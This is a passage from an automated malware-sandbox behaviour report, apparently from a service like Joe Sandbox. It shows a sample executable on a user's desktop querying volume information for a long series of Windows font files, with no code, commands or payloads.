Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
